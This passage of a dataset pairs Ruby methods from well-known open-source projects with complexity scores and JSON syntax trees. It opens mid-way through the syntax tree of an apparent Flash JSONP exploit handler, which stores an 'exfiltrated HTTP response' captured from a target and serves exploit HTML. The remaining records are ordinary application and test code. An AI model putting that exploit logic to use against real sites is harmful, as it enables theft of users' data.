\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"flash_jsonp_rosetta\"]},{\"type\":\"str\",\"children\":[\"Exfiltrated HTTP response\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"lines\"]},\"first\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*?=\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes captured from target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\" on URL:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stored in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Serving exploit HTML\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"exploit_html\"]}]}]}]}]}]}]}","id":"5c339b3f-9cef-4513-92af-f17a47de132f"}
{"repo_name":"forem","file_path":"./repos/forem/app/sanitizers/feed_markdown_scrubber.rb","start_line":8,"raw_source":"def allowed_node?(node)\n    return true if tags.include?(node.name) && node.name != \"a\"\n\n    node.name == \"a\" && !node[\"href\"]&.start_with?(\"#\")\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"#\"]}]},\"!\"]}]}]}]}","id":"ceebe2c8-0dab-4f01-a80c-0c63aea605a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params/allowed_settings.rb","start_line":62,"raw_source":"def filters\n      restricted_keys = Set.new(self.restricted_keys)\n      Settings::Definition.all.flat_map do |key, definition|\n        next if restricted_keys.include?(key)\n\n        case definition.format\n        when :hash\n          { key => {} }\n        when :array\n          { key => [] }\n        else\n          key\n        end\n      end\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"restricted_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"restricted_keys\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"all\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"restricted_keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}","id":"cbc2022f-cb51-491e-8948-f4dfa4c7d7ec"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/category_guardian.rb","start_line":37,"raw_source":"def can_see_category?(category)\n    return false unless category\n    return true if is_admin? && !SiteSetting.suppress_secured_categories_from_admin\n    return true if !category.read_restricted\n    return true if is_staged? && category.email_in.present? && category.email_in_allow_strangers\n    secure_category_ids.include?(category.id)\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_category?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"suppress_secured_categories_from_admin\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"read_restricted\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_staged?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"email_in\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"email_in_allow_strangers\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_category_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]}]}]}","id":"b5f10983-afe1-4108-b4dc-fad7adbedfcd"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeable_field.rb","start_line":67,"raw_source":"def rate_key(sub_metric = nil)\n    \"#{rate_name}_#{sub_metric ? sub_metric + '_' : ''}rate\" # rate value (e.g. Storage [Used|Allocated|Fixed] Rate)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_key\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"sub_metric\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_metric\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_metric\"]},\"+\",{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"rate\"]}]}]}","id":"f2f898a6-6608-4a5c-b3e8-843bdd36ce91"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1356,"raw_source":"def test_def_method_locals; skip # def_method\n    obj = Object.new\n    engine(\"%p= foo\\n.bar{:baz => baz}= boom\").def_method(obj, :render, :foo, :baz, :boom)\n    assert_equal(\"<p>1</p>\\n<div baz='2' class='bar'>3</div>\\n\", obj.render(:foo => 1, :baz => 2, :boom => 3))\n  end","complexity_score":8.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_def_method_locals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"%p= foo\\n.bar{:baz => baz}= boom\"]}]},\"def_method\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"sym\",\"children\":[\"render\"]},{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"baz\"]},{\"type\":\"sym\",\"children\":[\"boom\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p>1</p>\\n<div baz='2' class='bar'>3</div>\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"baz\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"boom\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}","id":"f84e3cd7-e0db-45e0-b27c-5445cab598cc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/themes_controller.rb","start_line":453,"raw_source":"def set_fields\n    return unless fields = theme_params[:theme_fields]\n\n    ban_in_allowlist_mode!\n    ban_for_remote_theme!\n\n    fields.each do |field|\n      @theme.set_field(\n        target: field[:target],\n        name: field[:name],\n        value: field[:value],\n        type_id: field[:type_id],\n        upload_id: field[:upload_id],\n      )\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"theme_fields\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"ban_in_allowlist_mode!\"]},{\"type\":\"send\",\"children\":[null,\"ban_for_remote_theme!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme\"]},\"set_field\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upload_id\"]}]}]}]}]}]}]}]}","id":"252781d8-1063-4496-9afb-e196006879a1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":3542,"raw_source":"def test_datetime_select_should_not_change_passed_options_hash\n    @post = Post.new\n    @post.updated_at = Time.local(2008, 7, 16, 23, 30)\n\n    options = {\n      order: [ :year, :month, :day ],\n      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },\n      discard_type: false,\n      include_blank: false,\n      ignore_date: false,\n      include_seconds: true\n    }\n    datetime_select(@post, :updated_at, options)\n\n    # note: the literal hash is intentional to show that the actual options hash isn't modified\n    #       don't change this!\n    assert_equal({\n      order: [ :year, :month, :day ],\n      default: { year: 2008, month: 7, day: 16, hour: 23, minute: 30, second: 1 },\n      discard_type: false,\n      include_blank: false,\n      ignore_date: false,\n      include_seconds: true\n    }, options)\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_datetime_select_should_not_change_passed_options_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"updated_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"sym\",\"children\":[\"day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2008]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minute\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"second\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_type\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_date\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_seconds\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"datetime_select\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"sym\",\"children\":[\"day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2008]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minute\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"second\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_type\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_date\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_seconds\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"944ab986-2658-494b-808b-20a3e092cd04"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/command/test_ctl.rb","start_line":26,"raw_source":"def test_commands(data)\n    command, signal, event_suffix = data\n\n    if Fluent.windows?\n      event_name = \"fluentd_54321\"\n      event_name << \"_#{event_suffix}\" unless event_suffix.empty?\n      assert_win32_event(event_name, command, \"54321\")\n    else\n      got_signal = false\n      Signal.trap(signal) do\n        got_signal = true\n      end\n      Fluent::Ctl.new([command, Process.pid.to_s]).call\n      assert_true(got_signal)\n    end\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_commands\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},{\"type\":\"lvasgn\",\"children\":[\"signal\"]},{\"type\":\"lvasgn\",\"children\":[\"event_suffix\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"windows?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event_name\",{\"type\":\"str\",\"children\":[\"fluentd_54321\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_suffix\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_suffix\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_win32_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"54321\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"got_signal\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Signal\"]},\"trap\",{\"type\":\"lvar\",\"children\":[\"signal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"got_signal\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Ctl\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]},\"to_s\"]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"assert_true\",{\"type\":\"lvar\",\"children\":[\"got_signal\"]}]}]}]}]}]}","id":"2c4cd9ca-fd61-43de-9f4e-63db11696eef"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/statuses_controller.rb","start_line":56,"raw_source":"def set_link_headers\n    response.headers['Link'] = LinkHeader.new(\n      [[ActivityPub::TagManager.instance.uri_for(@status), [%w(rel alternate), %w(type application/activity+json)]]]\n    ).to_s\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_link_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Link\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LinkHeader\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"ivar\",\"children\":[\"@status\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"alternate\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"application/activity+json\"]}]}]}]}]}]},\"to_s\"]}]}]}","id":"e897b8fe-47d1-4276-abc5-ca0029402c97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/database/query_analyzers/jsonb_scan_detector.rb","start_line":22,"raw_source":"def save!\n        return if output[:bad_queries].empty?\n\n        Zlib::GzipWriter.open(output_path(\"jsonb_column_scans.ndjson\")) do |file|\n          output[:bad_queries].each do |query|\n            file.puts(JSON.generate(query))\n          end\n        end\n      end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bad_queries\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipWriter\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"output_path\",{\"type\":\"str\",\"children\":[\"jsonb_column_scans.ndjson\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bad_queries\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]}]}","id":"b3b2a8e9-b41b-4dd2-b5d7-7cda05b56c24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/deploy_key.rb","start_line":41,"raw_source":"def fabricate_via_api!\n        resource_web_url(api_get)\n      rescue ResourceNotFoundError\n        super\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate_via_api!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_web_url\",{\"type\":\"send\",\"children\":[null,\"api_get\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceNotFoundError\"]}]},null,{\"type\":\"zsuper\",\"children\":[]}]},null]}]}","id":"480679a9-4db6-482e-9e63-f31067d49c9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/ci_analytics/cache_log_parser.rb","start_line":24,"raw_source":"def self.extract_cache_events(log_content)\n        events = []\n        current_cache = {}\n        operation_timings = {}\n\n        log_content.each_line do |line|\n          timestamp = extract_timestamp(line) || Time.now\n\n          parse_cache_operations(line, timestamp, current_cache, events)\n          parse_operations(line, timestamp, operation_timings)\n        end\n\n        correlate_operations(events, operation_timings)\n        events.compact\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extract_cache_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"current_cache\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"operation_timings\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_content\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_timestamp\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_cache_operations\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"current_cache\"]},{\"type\":\"lvar\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_operations\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"operation_timings\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"correlate_operations\",{\"type\":\"lvar\",\"children\":[\"events\"]},{\"type\":\"lvar\",\"children\":[\"operation_timings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"compact\"]}]}]}","id":"2a59074b-63cb-46a3-89a4-dae5cd48e967"}
